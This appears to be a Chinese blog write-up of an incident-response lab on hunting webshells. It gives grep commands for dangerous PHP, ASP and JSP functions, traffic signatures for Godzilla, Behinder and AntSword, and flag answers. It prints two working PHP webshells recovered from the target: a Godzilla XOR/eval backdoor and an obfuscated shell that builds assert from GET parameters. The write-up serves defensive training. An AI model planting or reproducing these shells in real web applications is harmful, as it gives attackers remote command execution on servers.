应急响应-webshell查杀

最后更新于 2024-07-15 1084 字 预计阅读时间: 5 分钟


刚接触应急响应,完全按照wp做的希望有所收获,给出ssh进入靶机,题目要求查杀webshell,在linux下web一般存在于/var/www/html目录下

webshell的后缀一般为.asp .php .jsp .aspx,通过查找这些文件中的危险函数来判断是否为webshell,常见的危险函数

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

我们可以用find命令查找相应的文件是否有危险函数

find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。

对于免杀混淆shell可能会使用base64_decode或者php字符串拼接的一些技术可以通过find来找出

find ./ type f -name "*.php" | xargs grep "base64_decode" 

在第一题中通过找到三个文件带有危险函数,一个一个查看最终在gz.php中找到flag

第二题要我们寻找webshell的工具,在gz.php中代码如下

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

通过查找得知这是Godzilla的webshell,该webshell拿用户给出的key的md5值前16位值作为本次通讯加密的secretkey在对payload进行异或和base64和urlencode,一般特征@session_start();@set_time_limit(0);
@error_reporting(0);

流量特征

1.Godzilla由java编写,在不修改http头的情况下User-Agent会有类似于Java/1.8.0_121的情况出现

2.请求体采用base64编码,响应体返回的也是base64编码

补充其他webshell工具

1.冰蝎

  1. 第一阶段:密钥协商
    攻击者通过 GET 或者 POST 方法,形如(http://127.0.0.1/shell.aspx?pass=645)的请求服务器密钥。
    服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
  2. 第二阶段-加密传输
    1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
    2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
    3)执行结果通过AES加密后返回给攻击者。

流量特征

  1. Connection: Keep-Alive
  2. PHP站点默认口令Default_xor_base64协议加密流量特征,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
  3. PHP站点默认口令Default_aes协议加密流量特征,请求字节头:m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK,响应字节头:mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

2.蚁剑

1.使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,存在eval这种明显的特征
2.默认的USER-agent请求头 是 antsword xxx,但是 可以通过修改:/modules/request.js 文件中 请求UA绕过
3.最明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有webshell客户端链接PHP类Webshell都有的一种代码
4.蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以"_0x"这种形式,所以以_0x开头的参数也很可能就是恶意流量

故第二问的flag位md5(https://github.com/BeichenDream/Godzilla

第三题在第一题的时候已经出来了

隐藏shell路径/var/www/html/include/Db/.Mysqli.php,是隐藏文件

第四问查看免杀shell

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

可以看到该免杀shell用了base64_encode进行混淆,用php字符串拼接来实现assert函数

参考文章

此作者没有提供个人介绍。
最后更新于 2024-07-15